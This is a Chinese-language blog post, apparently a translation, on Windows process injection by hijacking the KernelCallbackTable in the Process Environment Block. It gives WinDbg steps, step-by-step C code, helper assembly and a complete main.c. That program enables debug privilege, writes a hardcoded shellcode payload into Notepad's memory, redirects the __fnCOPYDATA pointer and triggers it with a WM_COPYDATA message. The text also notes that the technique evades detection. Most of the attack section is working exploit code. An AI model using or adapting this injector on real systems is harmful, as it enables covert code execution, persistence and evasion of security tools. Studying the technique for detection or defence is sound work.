攻击者可以劫持进程环境块 (PEB) 中的内核回调表,以重定向进程的执行流,从而使他们能够执行恶意负载。此方法允许攻击者通过将合法函数指针替换为恶意函数指针(通常由 Windows 消息触发)来保持持久性。
这种方法被 MITRE 认定为劫持执行流程和持久性技术,已被 FinFisher/FinSpy 和 Lazarus 等威胁组织使用。
在这篇博客中,我们将探讨 PEB,如何操作 Kernel Callback Table,以及如何将这种技术应用于进程注入,以在目标进程中秘密执行代码。
参考 PoC
链接 -> https://github.com/0xHossam/KernelCallbackTable-Injection-PoC
了解过程环境块 (PEB)
进程环境块 (PEB) 是 Windows 中每个正在运行的程序都依赖的关键结构。将其视为“控制中心”或“中心”,其中包含有关程序如何运行以及与系统交互的基本信息。PEB 是进程内存空间的一部分,它可以帮助操作系统和程序管理各种内部细节。
PEB 存储重要数据,例如:
-
• 加载的模块 – 这些是程序运行所需的动态链接库 (DLL) 或外部库。例如,程序通常依赖于 kernel32.dll 或 user32.dll 等系统库提供的其他代码,并且 PEB 会在加载这些库后对其进行跟踪。
-
• 堆信息 – PEB 的此部分包含有关程序内存管理的信息。“堆” 是程序在其中存储运行时所需数据的内存区域。PEB 有助于管理和监控此内存的使用情况,从而跟踪分配和释放。
-
• 进程开始时间 – PEB 还存储进程的创建时间,这对于了解程序的运行时间非常有用。
-
• 线程信息 – 每个程序都通过“线程”运行任务或操作,PEB 包含有关这些线程的数据。这有助于操作系统管理程序同时运行的不同任务。
-
• 进程标志和设置 – PEB 包含描述进程行为方式的标志和配置数据。这可能包括安全设置、用于调试的特殊标志,甚至进程是否作为另一个进程的子系统运行。
-
• 内存布局信息 – PEB 还保存有关进程内存布局的数据,例如程序代码、数据和资源的不同部分在内存中的位置。
浏览内核回调表
PEB 中是内核回调表,这是在user32.dll加载到图形用户界面 (GUI) 进程时初始化的函数指针数组。此表包含指向处理窗口消息和其他进程间通信的各种回调函数的指针。此表中的每个函数都对应于特定任务,例如处理数据传输消息或管理窗口销毁事件。
例如,调用 Kernel Callback Table 中的 __fnCOPYDATA 函数以响应 WM_COPYDATA 窗口消息。此功能有助于在应用程序之间传输数据,允许一个进程将数据无缝发送到另一个进程。通过了解 Kernel Callback Table 中每个函数的结构和用途,我们可以理解进程如何交互和处理各种系统事件。
查找和分析内核回调表
内核回调表是 Windows 上 GUI 进程的进程环境块 (PEB) 中的关键结构。攻击者可以修改此表,通过将特定函数指针重定向到恶意负载来劫持进程的执行流。本指南提供了在 WinDbg 中查找和分析内核回调表并了解其在进程注入中的作用的分步说明。
查找 PEB 和内核回调表
-
1. 识别 PEB 结构
-
• 可以在 WinDbg 中使用 dt 命令浏览 PEB,该命令显示有关结构的详细信息。KernelCallbackTable 通常位于 PEB 中 +0x058 的偏移量处。
-
• 在 WinDbg 中使用以下命令:dt ntdll!PEB系列
-
• 这将显示 PEB 结构及其字段,包括偏移量 +0x058 处的 KernelCallbackTable,显示 Kernel Callback Table 指针所在的位置。
-
1. 找到内核回调表地址
-
• 识别出 PEB 中的 KernelCallbackTable 字段后,通过访问该字段直接找到其地址:
dt ntdll!PEB @$peb.KernelCallbackTable
-
• 此命令提供 PEB 中内核回调表的特定地址,该地址包含函数指针数组。
-
1. 检查内核回调表内容
-
• 获取内核回调表的地址后,使用 dqs 命令在 WinDbg 中显示其内容。此命令显示从指定地址开始的每个四字(64 位条目),并显示表中的回调函数指针。DQS 0x00007ffa’29123070 L60
-
• 此命令显示 Kernel Callback Table 中的前 60 个四字(480 字节),允许您直接检查回调函数地址。
分析 Kernel Callback Table 中的函数指针
在内核回调表中,每个条目对应于一个指向回调函数的指针,当收到特定 Windows 消息时,进程可以调用该函数。某些函数指针(如 __fnCOPYDATA)特别有趣,因为它们通过消息(如 WM_COPYDATA)处理数据传输。通过识别和分析这些指针,您可以了解流程如何处理某些事件。
-
1. 确定 __fnCOPYDATA 条目
-
• __fnCOPYDATA 函数通常用于注入技术中,因为它可以通过WM_COPYDATA消息触发,从而允许在进程之间传递数据。
-
• 将 dqs 命令与 Kernel Callback Table 的基址一起使用,以列出特定的函数指针,包括 __fnCOPYDATA。DQS 0x00007ffa’29123070 L10
-
• 输出示例:
00007ffa`29123070 00007ffa`290c2bd0 user32!_fnCOPYDATA
00007ffa`29123078 00007ffa`2911ae70 user32!_fnCOPYGLOBALDATA
00007ffa`29123080 00007ffa`290c0420 user32!_fnDWORD
... -
• 每个条目对应于 Kernel Callback Table 中的一个函数指针。此处,user32!_fnCOPYDATA 显示了 __fnCOPYDATA 的地址,在处理 WM_COPYDATA 消息时,可以重定向该地址以执行自定义代码。
通过内核回调表操作进行进程注入
攻击者可以操纵进程的 Kernel Callback Table 来劫持其执行流,迫使其运行注入的代码。内核回调表是进程的进程环境块 (PEB) 中的函数指针数组,当user32.dll加载到任何图形用户界面 (GUI) 进程中时,其中填充了回调函数。这些回调函数支持系统和进程之间的通信,从而允许进程响应特定的 Windows 消息。
要使用 Kernel Callback Table 劫持执行流,攻击者可以将一个或多个原始回调函数指针替换为指向恶意代码的指针。此方法提供了一种将执行从合法回调重定向到注入的有效负载的方法。修改这些函数指针通常是通过使用 Reflective Code Loading 或 Process Injection 来实现的。例如,攻击者可以通过 NtQueryInformationProcess 函数(一种公开进程内部的低级别 Windows API 调用)检索 PEB 地址来找到内核回调表。找到 PEB 后,攻击者即可获得对内核回调表的访问权限,并可以继续将回调函数指针(如 __fnCOPYDATA)替换为恶意负载的地址。
进行此修改后,可以更新 PEB 以引用更改后的内核回调表,该表现在包含注入的有效负载。恶意函数通常在将特定 Windows 消息发送到目标进程时触发,从而激活更改的回调函数,从而激活注入的有效负载。由于此操作发生在目标进程的内存中,因此它通过掩盖合法进程下有效负载的执行来有效地逃避检测。
一旦执行被劫持并执行有效负载,高级攻击者可能会将原始内核回调表恢复到其合法状态,以进一步逃避检测。
步骤 1 – 启用调试权限
在一个进程可以操纵另一个进程的内存之前,出于测试目的,我需要启用一些调试权限。调试权限允许当前进程访问其他进程的敏感区域,这些区域对于内存读取和写入等任务是必需的。如果没有这些权限,Windows 安全性将限制对其他进程的访问,从而无法注入。
EnableDebugPrivilege 函数通过修改当前进程的令牌以启用 SE_DEBUG_NAME 权限来提升权限。
void EnableDebugPrivilege() {
printf( "[*] Enabling Debug Privilege...n" );
HANDLE hToken;
TOKEN_PRIVILEGES tkp;
if ( OpenProcessToken( GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken ) ) {
LookupPrivilegeValue( NULL, SE_DEBUG_NAME, &tkp.Privileges[ 0 ].Luid );
tkp.PrivilegeCount = 1;
tkp.Privileges[ 0 ].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges( hToken, FALSE, &tkp, sizeof( tkp ), NULL, NULL );
CloseHandle( hToken );
} else {
printf( "[-] Failed to enable Debug Privilege.n" );
}
}
详细说明
-
1. OpenProcessToken 打开当前进程的访问令牌的句柄,该令牌拥有安全权限。
-
2. LookupPrivilegeValue 检索权限 SE_DEBUG_NAME 的本地唯一标识符 (LUID),该标识符授予进程调试功能。
-
3. AdjustTokenPrivileges 在令牌中设置权限以启用调试权限,从而允许进程对其他进程执行内存操作。
步骤 2 – 加载 NtQueryInformationProcess
ntdll.dll 的 NtQueryInformationProcess 函数是一个低级别 Windows API 函数,它提供对有关进程的特定信息的访问,包括进程环境块 (PEB)。PEB 包含内核回调表等结构,该表存储指向各种回调函数的指针。此函数必须动态加载,因为它通常无法通过标准 Windows 标头访问。
typedef NTSTATUS( NTAPI* pNtQueryInformationProcess )( HANDLE, PROCESSINFOCLASS, PVOID, ULONG, PULONG );
void LoadNtQueryInformationProcess( pNtQueryInformationProcess &NtQueryInformationProcess ) {
printf( "[*] Loading NtQueryInformationProcess...n" );
HMODULE hNtdll = GetModuleHandleA( "ntdll.dll" );
if ( hNtdll ) {
NtQueryInformationProcess = ( pNtQueryInformationProcess ) GetProcAddress( hNtdll, "NtQueryInformationProcess" );
if ( NtQueryInformationProcess ) {
printf( "[+] NtQueryInformationProcess loaded successfully at address: 0x%pn", NtQueryInformationProcess );
} else {
printf( "[-] Failed to resolve NtQueryInformationProcess address.n" );
}
}
}
详细说明
-
• GetModuleHandle 会将ntdll.dll加载到进程中,从而访问其函数。
-
• GetProcAddress 检索 NtQueryInformationProcess 的地址,以便稍后调用此函数以收集有关目标进程的详细信息。
步骤 3 — 启动 Target 流程
进程注入首先创建一个 Notepad 实例,该实例将用作注入代码的目标。此示例使用 Notepad,因为它是一个简单、众所周知的应用程序,允许对注射过程进行受控测试。
STARTUPINFO si = { sizeof( si ) };
PROCESS_INFORMATION pi;
printf( "[*] Creating new Notepad process...n" );
if ( !CreateProcess( L"C:\Windows\System32\notepad.exe", NULL, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi ) ) {
printf( "[-] Failed to create Notepad process. Error: %dn", GetLastError() );
return -1;
}
printf( "[+] Notepad process created successfully. PID: %dn", pi.dwProcessId );
详细说明
-
• CreateProcess 在新控制台中启动记事本,并将进程信息存储在 pi 中。生成的进程 ID (pi.dwProcessId) 是必不可少的,因为它标识了记事本进程,以便进行后续的内存操作。
第 4 步 — 找到目标窗口和进程 ID
该代码找到记事本的窗口句柄并检索其进程 ID。此句柄提供与 Notepad 的连接,从而可以打开句柄来操作其内存。
HWND hWindow = NULL;
DWORD waitTime = 0;
const DWORD MAX_WAIT_TIME = 10000;
while ( hWindow == NULL && waitTime < MAX_WAIT_TIME ) {
hWindow = FindWindow( L"Notepad", NULL );
if ( !hWindow ) {
Sleep( 500 );
waitTime += 500;
}
}
if ( !hWindow ) {
printf( "[-] Failed to find Notepad window handle after waiting for %d milliseconds.n", MAX_WAIT_TIME );
TerminateProcess( pi.hProcess, 0 );
CloseHandle( pi.hProcess );
CloseHandle( pi.hThread );
return -1;
}
printf( "[+] Window Handle found: 0x%pn", hWindow );
DWORD pid;
GetWindowThreadProcessId( hWindow, &pid );
printf( "[+] Process ID: %dn", pid );
详细说明
-
• FindWindow 按名称搜索记事本的 window 类并找到其句柄。如果找到句柄,GetWindowThreadProcessId 将检索关联的进程 ID。
-
• 此进程 ID 对于打开句柄以直接访问 Notepad 的内存是必需的。
第 5 步 – 打开目标进程的句柄
使用进程 ID,代码将打开记事本的句柄。此句柄允许直接访问进程的内存,这对于注入至关重要。
HANDLE hProcess = OpenProcess( PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ | PROCESS_QUERY_INFORMATION, FALSE, pid );
if ( !hProcess ) {
printf( "[-] Failed to open target process. Error: %dn", GetLastError() );
return -1;
}
printf( "[+] Process Handle: 0x%pn", hProcess );
详细说明
-
• OpenProcess 打开一个具有内存读取、写入和查询操作权限的句柄,允许注入器与记事本的内存交互。
步骤 6 – 检索 PEB 地址
NtQueryInformationProcess 用于检索目标进程的 PEB 地址。PEB 包含 Kernel Callback Table,这是此注入技术中修改的重点。
PROCESS_BASIC_INFORMATION pbi;
ULONG returnLength;
NTSTATUS status = NtQueryInformationProcess( hProcess, ProcessBasicInformation, &pbi, sizeof( pbi ), &returnLength );
if ( status != 0 ) {
printf( "[-] Failed to query process information. NTSTATUS: 0x%lxn", status );
return -1;
}
PVOID PebBaseAddress = pbi.PebBaseAddress;
printf( "[*] PEB Address: 0x%pn", PebBaseAddress );
详细说明
-
• NtQueryInformationProcess 填充 PROCESS_BASIC_INFORMATION 结构(包括 PebBaseAddress),从而提供对 PEB 的访问权限,以便进一步操作内核回调表。
第 7 步 – 读取内核回调表
使用 PEB 地址,代码读取 Kernel Callback Table 的内存地址,从而允许修改此表中的函数指针以控制回调。
PVOID KernelCallbackTable;
SIZE_T bytesRead = 0;
if ( !ReadProcessMemory( hProcess, ( PBYTE ) PebBaseAddress + offsetof( PEB, KernelCallbackTable ), &KernelCallbackTable, sizeof( PVOID ), &bytesRead ) ) {
printf( "[-] Failed to read KernelCallbackTable. Error: %dn", GetLastError() );
return -1;
}
printf( "[*] KernelCallbackTable Address: 0x%pn", KernelCallbackTable );
详细说明
-
• ReadProcessMemory 在距 PEB 地址偏移量处访问 Kernel Callback Table,从而访问控制某些回调函数的指针。
第 8 步 – 为有效负载分配内存
有效负载(通常是 shellcode)在目标进程的内存空间内分配。内存标记为 executable 以确保代码可以运行。
unsigned char my_payload[] = "...";
SIZE_T shellcodeSize = sizeof( my_payload );
LPVOID remotebuf = VirtualAllocEx( hProcess, NULL, shellcodeSize, MEM_RESERVE | MEM_COMMIT, PAGE
_EXECUTE_READWRITE );
if ( !remotebuf ) {
printf( "[-] Failed to allocate remote buffer. Error: %dn", GetLastError() );
return -1;
}
if ( !WriteProcessMemory( hProcess, remotebuf, my_payload, shellcodeSize, NULL ) ) {
printf( "[-] Failed to write payload to remote buffer. Error: %dn", GetLastError() );
return -1;
}
printf( "[+] Payload written to remote buffer at: 0x%pn", remotebuf );
详细说明
-
• VirtualAllocEx 在目标进程中分配内存,并使用 PAGE_EXECUTE_READWRITE 对其进行标记,使其既可写又可执行。
-
• WriteProcessMemory 将 shellcode 写入分配的空间,使其能够在触发时运行。
第 9 步 – 修改内核回调表
通过将 __fnCOPYDATA 指针重定向到注入的负载来修改 Kernel Callback Table。这使得 Windows 在 WM_COPYDATA 消息期间调用有效负载。
KERNELCALLBACKTABLE cKCT;
if ( !ReadProcessMemory( hProcess, KernelCallbackTable, &cKCT, sizeof( cKCT ), &bytesRead ) ) {
printf( "[-] Failed to read existing KernelCallbackTable. Error: %dn", GetLastError() );
return -1;
}
cKCT.__fnCOPYDATA = ( ULONG_PTR ) remotebuf;
LPVOID clonedcKCT = VirtualAllocEx( hProcess, NULL, sizeof( cKCT ), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE );
if ( !clonedcKCT || !WriteProcessMemory( hProcess, clonedcKCT, &cKCT, sizeof( cKCT ), NULL ) ) {
printf( "[-] Failed to clone KernelCallbackTable. Error: %dn", GetLastError() );
return -1;
}
详细说明
-
• ReadProcessMemory 检索 Kernel Callback Table 结构。__fnCOPYDATA 字段将重定向以指向有效负载,从而在WM_COPYDATA消息接收时启用其执行。
第 10 步 – 使用修改后的表更新 PEB
更改后的内核回调表将写入 PEB,确保 Windows 引用此修改后的版本。
if ( !WriteProcessMemory( hProcess, ( PBYTE ) PebBaseAddress + offsetof( PEB, KernelCallbackTable ), &clonedcKCT, sizeof( PVOID ), &bytesRead ) ) {
printf( "[-] Failed to update PEB KernelCallbackTable. Error: %dn", GetLastError() );
return -1;
}
printf( "[+] PEB KernelCallbackTable updated successfully!n" );
详细说明
-
• WriteProcessMemory 将修改后的表写入 PEB,使更改的回调结构处于活动状态,以准备触发有效负载。
第 11 步 – 触发 Payload
该代码发送一条 WM_COPYDATA 消息,该消息激活 Kernel Callback Table 中的 __fnCOPYDATA 函数,并执行有效负载。
COPYDATASTRUCT cds;
WCHAR msg[] = L"trigger";
cds.dwData = 1;
cds.cbData = ( lstrlenW( msg ) + 1 ) * sizeof( WCHAR );
cds.lpData = msg;
LRESULT result = SendMessage( hWindow, WM_COPYDATA, ( WPARAM ) hWindow, ( LPARAM ) &cds );
if ( result == 0 && GetLastError() != 0 ) {
printf( "[-] Failed to send message to trigger payload. Error: %dn", GetLastError() );
return -1;
}
printf( "[+] Payload triggered!n" );
第 12 步 – 清理
最后,释放内存分配并关闭处理,确保干净退出并最大限度地降低检测风险。
VirtualFreeEx( hProcess, remotebuf, 0, MEM_RELEASE );
VirtualFreeEx( hProcess, clonedcKCT, 0, MEM_RELEASE );
CloseHandle( hProcess );
CloseHandle( pi.hProcess );
CloseHandle( pi.hThread );
printf( "[+] Cleanup completed successfully.n" );
此过程演示了通过 Kernel Callback Table 操作进行分步代码注入,从而提供对目标进程上下文中执行的完全控制。
帮助程序程序集代码
为了增强注入过程,我们使用了 helper.asm 中定义的一些汇编函数。这些函数帮助我们找到 PEB 并更有效地操作 Kernel Callback Table。
定位PEB
此函数通过访问 gs 段寄存器来检索当前进程的 PEB 地址,该寄存器指向 x64 体系结构中的线程信息块 (TIB)。
LocatePEB PROC
mov rax, qword ptr gs:[60h] ; Access PEB in x64
ret
LocatePEB ENDP
UnhingCallbackTable
给定 RCX 寄存器中的 PEB 地址,此函数通过访问 PEB 结构中偏移量为 0x58 的内存来检索内核回调表的地址。
ResolveKernelCallbackTable PROC
mov rax, qword ptr [rcx + 58h] ; Offset for KernelCallbackTable in PEB (0x58)
ret
ResolveKernelCallbackTable ENDP
写入内核回调表
该函数通过向指定的偏移量写入新地址来更新 PEB 中的 Kernel Callback Table 地址。
WriteKernelCallbackTable PROC
mov qword ptr [rcx + 58h], rdx ; Write the new KernelCallbackTable address
ret
WriteKernelCallbackTable ENDP
这些汇编函数简化了与 PEB 和内核回调表交互的过程,使我们的 C++ 代码更简洁、更高效。
把它们放在一起!
main.c
#include <stdio.h>
#include <windows.h>
#include "struct.h"
#include "helper.h"
void LoadNtQueryInformationProcess()
{
printf( COLOR_YELLOW_BOLD "[*] Loading NtQueryInformationProcess...n" COLOR_RESET );
HMODULE hNtdll = GetModuleHandle( L"ntdll.dll" );
if ( hNtdll )
{
NtQueryInformationProcess = ( PFN_NTQUERYINFORMATIONPROCESS ) GetProcAddress( hNtdll, "NtQueryInformationProcess" );
if ( NtQueryInformationProcess )
{
printf( COLOR_GREEN_BOLD "[+] NtQueryInformationProcess loaded successfully at address: 0x%pn" COLOR_RESET, NtQueryInformationProcess );
}
else
{
printf( COLOR_RED_BOLD "t[-] Failed to resolve NtQueryInformationProcess address.n" COLOR_RESET );
}
}
}
void EnableDebugPrivilege()
{
printf( COLOR_YELLOW_BOLD "[*] Enabling Debug Privilege...n" COLOR_RESET );
HANDLE hToken;
TOKEN_PRIVILEGES tkp;
if ( OpenProcessToken( GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken ) )
{
LookupPrivilegeValue( NULL, SE_DEBUG_NAME, &tkp.Privileges[ 0 ].Luid );
tkp.PrivilegeCount = 1;
tkp.Privileges[ 0 ].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges( hToken, FALSE, &tkp, sizeof( tkp ), NULL, NULL );
CloseHandle( hToken );
// printf( COLOR_GREEN_BOLD "t[+] Debug Privilege enabled.n" COLOR_RESET );
}
else
{
printf( COLOR_RED_BOLD "t[-] Failed to enable Debug Privilege.n" COLOR_RESET );
}
}
unsigned char payload[] = "xfcx48x83xe4xf0xe8xc0x00x00x00x41x51x41x50x52x51x56x48x31xd2x65x48x8bx52x60x48x8bx52x18x48x8bx52x20x48x8bx72x50x48x0fxb7x4ax4ax4dx31xc9x48x31xc0xacx3cx61x7cx02x2cx20x41xc1xc9x0dx41x01xc1xe2xedx52x41x51x48x8bx52x20x8bx42x3cx48x01xd0x8bx80x88x00x00x00x48x85xc0x74x67x48x01xd0x50x8bx48x18x44x8bx40x20x49x01xd0xe3x56x48xffxc9x41x8bx34x88x48x01xd6x4dx31xc9x48x31xc0xacx41xc1xc9x0dx41x01xc1x38xe0x75xf1x4cx03x4cx24x08x45x39xd1x75xd8x58x44x8bx40x24x49x01xd0x66x41x8bx0cx48x44x8bx40x1cx49x01xd0x41x8bx04x88x48x01xd0x41x58x41x58x5ex59x5ax41x58x41x59x41x5ax48x83xecx20x41x52xffxe0x58x41x59x5ax48x8bx12xe9x57xffxffxffx5dx48xbax01x00x00x00x00x00x00x00x48x8dx8dx01x01x00x00x41xbax31x8bx6fx87xffxd5xbbxe0x1dx2ax0ax41xbaxa6x95xbdx9dxffxd5x48x83xc4x28x3cx06x7cx0ax80xfbxe0x75x05xbbx47x13x72x6fx6ax00x59x41x89xdaxffxd5x63x61x6cx63x00";
SIZE_T shellcodeSize = sizeof( payload ) - 1;
SIZE_T bytesRead = 0;
int main()
{
printf( COLOR_YELLOW_BOLD "[*] Initializing exploit...n" COLOR_RESET );
EnableDebugPrivilege();
LoadNtQueryInformationProcess();
if ( !NtQueryInformationProcess )
{
printf( COLOR_RED_BOLD "t[-] NtQueryInformationProcess is NULL. Exiting...n" COLOR_RESET );
return -1;
}
printf( COLOR_YELLOW_BOLD "[*] Starting PEB KernelCallbackTable Injection Exploit...nn" COLOR_RESET );
// Step 1: Create a new Notepad process (ensure it is visible to the user)
PROCESS_INFORMATION pi = { 0 };
STARTUPINFO si = { sizeof( STARTUPINFO ) };
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_SHOW;
printf( COLOR_YELLOW_BOLD "t[*] Creating new Notepad process...n" COLOR_RESET );
if ( !CreateProcess(
L"C:\Windows\System32\notepad.exe",
NULL,
NULL,
NULL,
FALSE,
CREATE_NEW_CONSOLE,
NULL,
NULL,
&si,
&pi
) )
{
printf( COLOR_RED_BOLD "t[-] Failed to create Notepad process. Error: %dn" COLOR_RESET, GetLastError() );
return -1;
}
printf( COLOR_GREEN_BOLD "t[+] Notepad process created successfully. PID: %dn" COLOR_RESET, pi.dwProcessId );
// Step 2: Wait for the new process to initialize
printf( COLOR_YELLOW_BOLD "t[*] Waiting for Notepad initialization...n" COLOR_RESET );
WaitForInputIdle( pi.hProcess, 1000 );
// Step 3: Find the Notepad window handle
HWND hWindow = NULL;
DWORD waitTime = 0;
while ( hWindow == NULL && waitTime < MAX_WAIT_TIME )
{
hWindow = FindWindow( L"Notepad", NULL );
if ( !hWindow )
{
Sleep( 500 ); // Wait for 500 ms before retrying
waitTime += 500;
}
}
if ( !hWindow )
{
printf( COLOR_RED_BOLD "t[-] Failed to find Notepad window handle after waiting for %d milliseconds.n" COLOR_RESET, MAX_WAIT_TIME );
TerminateProcess( pi.hProcess, 0 );
CloseHandle( pi.hProcess );
CloseHandle( pi.hThread );
return -1;
}
printf( COLOR_GREEN_BOLD "t[+] Window Handle found: 0x%pn" COLOR_RESET, hWindow );
// Step 4: Get the process ID of the Notepad
DWORD pid;
GetWindowThreadProcessId( hWindow, &pid );
printf( COLOR_GREEN_BOLD "t[+] Process ID: %dn" COLOR_RESET, pid );
HANDLE hProcess = OpenProcess(
PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ | PROCESS_QUERY_INFORMATION,
FALSE,
pid
);
if ( !hProcess )
{
printf( COLOR_RED_BOLD "t[-] Failed to open target process. Error: %dn" COLOR_RESET, GetLastError() );
return -1;
}
printf( COLOR_GREEN_BOLD "t[+] Process Handle: 0x%pn" COLOR_RESET, hProcess );
// -----------------------------------------------------
// Using NtQueryInformationProcess to get PEB
// -----------------------------------------------------
printf( COLOR_YELLOW_BOLD "t[*] Retrieving PEB Address using NtQueryInformationProcess...n" COLOR_RESET );
PROCESS_BASIC_INFORMATION pbi;
ULONG returnLength;
NTSTATUS status = NtQueryInformationProcess(
hProcess,
ProcessBasicInformation,
&pbi,
sizeof( pbi ),
&returnLength
);
if ( status != 0 )
{
printf( COLOR_RED_BOLD "t[-] Failed to query process information. NTSTATUS: 0x%lxn" COLOR_RESET, status );
return -1;
}
PVOID PebBaseAddress = pbi.PebBaseAddress;
printf( COLOR_BLUE_BOLD "tt[*] PEB Address: 0x%pn" COLOR_RESET, PebBaseAddress );
// Step 6: Read KernelCallbackTable from the target process's PEB
PVOID KernelCallbackTable;
SIZE_T bytesRead = 0;
if ( !ReadProcessMemory(
hProcess,
( PBYTE ) PebBaseAddress + offsetof( PEB, KernelCallbackTable ),
&KernelCallbackTable,
sizeof( PVOID ),
&bytesRead
) )
{
printf( COLOR_RED_BOLD "t[-] Failed to read KernelCallbackTable. Error: %dn" COLOR_RESET, GetLastError() );
return -1;
}
printf( COLOR_BLUE_BOLD "tt[*] KernelCallbackTable Address: 0x%pn" COLOR_RESET, KernelCallbackTable );
// Step 7: Read KernelCallbackTable structure from the target process
KERNELCALLBACKTABLE CCC;
if ( !ReadProcessMemory(
hProcess,
KernelCallbackTable,
&CCC,
sizeof( CCC ),
&bytesRead
) )
{
printf( COLOR_RED_BOLD "t[-] Failed to read KernelCallbackTable structure. Error: %dn" COLOR_RESET, GetLastError() );
return -1;
}
printf( COLOR_GREEN_BOLD "nt[+] KernelCallbackTable read successfully. %zu bytes read.n" COLOR_RESET, bytesRead );
printf( COLOR_BLUE_BOLD "tt[*] Dumping KernelCallbackTable structure:n" COLOR_RESET );
printf( COLOR_GREEN_BOLD "ttt__fnCOPYDATA: 0x%pn" COLOR_RESET, ( void* ) CCC.__fnCOPYDATA );
printf( COLOR_GREEN_BOLD "ttt__fnCOPYGLOBALDATA: 0x%pn" COLOR_RESET, ( void* ) CCC.__fnCOPYGLOBALDATA );
printf( COLOR_GREEN_BOLD "ttt__fnDWORD: 0x%pn" COLOR_RESET, ( void* ) CCC.__fnDWORD );
// -----------------------------------------------------
// Assembly Method: Using LocatePEB and ResolveKernelCallbackTable
// -----------------------------------------------------
/*
//
printf( COLOR_YELLOW_BOLD "t[*] Retrieving PEB Address using Assembly...n" COLOR_RESET );
PVOID PebBaseAddressASM = LocatePEB();
printf( COLOR_BLUE_BOLD "tt[*] PEB Address (from ASM): 0x%pn" COLOR_RESET, PebBaseAddressASM );
printf( COLOR_YELLOW_BOLD "t[*] Resolving KernelCallbackTable using Assembly...n" COLOR_RESET );
PVOID KernelCallbackTableASM = ResolveKernelCallbackTable( PebBaseAddressASM );
printf( COLOR_BLUE_BOLD "tt[*] KernelCallbackTable Address (from ASM): 0x%pn" COLOR_RESET, KernelCallbackTableASM );
// Continue using KernelCallbackTableASM as needed
*/
// Step 8: Write payload to remote buffer
printf( COLOR_YELLOW_BOLD "nt[*] Allocating remote buffer for payload...n" COLOR_RESET );
LPVOID remotebuf = VirtualAllocEx(
hProcess,
NULL,
shellcodeSize,
MEM_RESERVE | MEM_COMMIT,
PAGE_EXECUTE_READWRITE
);
if ( !remotebuf )
{
printf( COLOR_RED_BOLD "t[-] Failed to allocate remote buffer. Error: %dn" COLOR_RESET, GetLastError() );
return -1;
}
if ( !WriteProcessMemory(
hProcess,
remotebuf,
payload,
shellcodeSize,
NULL
) )
{
printf( COLOR_RED_BOLD "t[-] Failed to write payload to remote buffer. Error: %dn" COLOR_RESET, GetLastError() );
return -1;
}
printf( COLOR_GREEN_BOLD "t[+] Payload written to remote buffer at: 0x%pn" COLOR_RESET, remotebuf );
// Step 9: Modify __fnCOPYDATA in the KernelCallbackTable
printf( COLOR_YELLOW_BOLD "t[*] Modifying __fnCOPYDATA to point to payload...n" COLOR_RESET );
CCC.__fnCOPYDATA = ( ULONG_PTR ) remotebuf;
printf( COLOR_BLUE_BOLD "tt[*] __fnCOPYDATA now points to: 0x%pn" COLOR_RESET, remotebuf );
// Step 10: Clone modified KernelCallbackTable
printf( COLOR_YELLOW_BOLD "nt[*] Cloning modified KernelCallbackTable...n" COLOR_RESET );
LPVOID cloneCCC = VirtualAllocEx(
hProcess,
NULL,
sizeof( CCC ),
MEM_RESERVE | MEM_COMMIT,
PAGE_READWRITE
);
if ( !cloneCCC )
{
printf( COLOR_RED_BOLD "t[-] Failed to allocate memory for cloned KernelCallbackTable. Error: %dn" COLOR_RESET, GetLastError() );
return -1;
}
if ( !WriteProcessMemory(
hProcess,
cloneCCC,
&CCC,
sizeof( CCC ),
NULL
) )
{
printf( COLOR_RED_BOLD "t[-] Failed to write cloned KernelCallbackTable. Error: %dn" COLOR_RESET, GetLastError() );
return -1;
}
printf( COLOR_GREEN_BOLD "t[+] Cloned KernelCallbackTable written at: 0x%pn" COLOR_RESET, cloneCCC );
// Step 11: Update PEB KernelCallbackTable to cloned KernelCallbackTable
printf( COLOR_YELLOW_BOLD "t[*] Updating PEB with cloned KernelCallbackTable...n" COLOR_RESET );
if ( !WriteProcessMemory(
hProcess,
( PBYTE ) PebBaseAddress + offsetof( PEB, KernelCallbackTable ),
&cloneCCC,
sizeof( PVOID ),
&bytesRead
) )
{
printf( COLOR_RED_BOLD "t[-] Failed to update PEB KernelCallbackTable. Error: %dn" COLOR_RESET, GetLastError() );
return -1;
}
printf( COLOR_GREEN_BOLD "t[+] PEB KernelCallbackTable updated successfully!n" COLOR_RESET );
// Step 12: Ensure Memory Protection for Payload
DWORD oldProtect;
if ( !VirtualProtectEx(
hProcess,
remotebuf,
shellcodeSize,
PAGE_EXECUTE_READ,
&oldProtect
) )
{
printf( COLOR_RED_BOLD "t[-] Failed to change memory protection for payload. Error: %dn" COLOR_RESET, GetLastError() );
return -1;
}
printf( COLOR_GREEN_BOLD "t[+] Memory protection for payload set to PAGE_EXECUTE_READ.n" COLOR_RESET );
// Step 13: Trigger the payload
printf( COLOR_YELLOW_BOLD "t[*] Sending message to trigger the payload...n" COLOR_RESET );
COPYDATASTRUCT cds;
WCHAR msg[] = L"LJX";
cds.dwData = 1;
cds.cbData = ( lstrlenW( msg ) + 1 ) * sizeof( WCHAR );
cds.lpData = msg;
LRESULT result = SendMessage(
hWindow,
WM_COPYDATA,
( WPARAM ) hWindow,
( LPARAM ) &cds
);
if ( result == 0 && GetLastError() != 0 )
{
printf( COLOR_RED_BOLD "t[-] Failed to send message to trigger payload. Error: %dn" COLOR_RESET, GetLastError() );
return -1;
}
printf( COLOR_GREEN_BOLD "t[+] Payload triggered!n" COLOR_RESET );
// Cleanup
printf( COLOR_YELLOW_BOLD "t[*] Cleaning up...n" COLOR_RESET );
VirtualFreeEx( hProcess, remotebuf, 0, MEM_RELEASE );
VirtualFreeEx( hProcess, cloneCCC, 0, MEM_RELEASE );
TerminateProcess( pi.hProcess, 0 );
CloseHandle( hProcess );
CloseHandle( pi.hProcess );
CloseHandle( pi.hThread );
printf( COLOR_GREEN_BOLD "n[+] YAAAAAAAAAY.n" COLOR_RESET );
printf( COLOR_GREEN_BOLD "[+] Exploit completed successfully.n" COLOR_RESET );
return 0;
}
最后,感谢您的阅读!
同步更新:
